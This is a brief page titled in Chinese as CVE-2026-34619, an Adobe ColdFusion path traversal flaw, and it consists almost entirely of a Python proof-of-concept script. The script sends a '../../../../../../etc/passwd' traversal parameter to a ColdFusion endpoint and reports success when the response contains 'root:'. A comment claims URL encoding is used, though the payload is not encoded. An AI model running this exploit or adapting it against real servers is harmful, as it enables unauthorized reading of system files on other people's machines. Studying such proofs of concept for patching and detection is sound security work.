CVE-2026-34619 Adobe ColdFusion路径遍历漏洞

import requests # Target URL vulnerable to path traversal target_url = "http://vulnerable-coldfusion-server:8500/vulnerable_endpoint.cfm" # Payload attempting to traverse to /etc/passwd # Using URL encoding to bypass potential filters payload = { "filename": "../../../../../../etc/passwd" } try: # Send GET request with the payload response = requests.get(target_url, params=payload, timeout=10) # Check if the request was successful if response.status_code == 200: # Check for indicators of successful file read (e.g., "root:x:0:0") if "root:" in response.text: print("[+] Exploit successful! File content retrieved:") print(response.text) else: print("[-] Exploit executed, but file content pattern not found.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")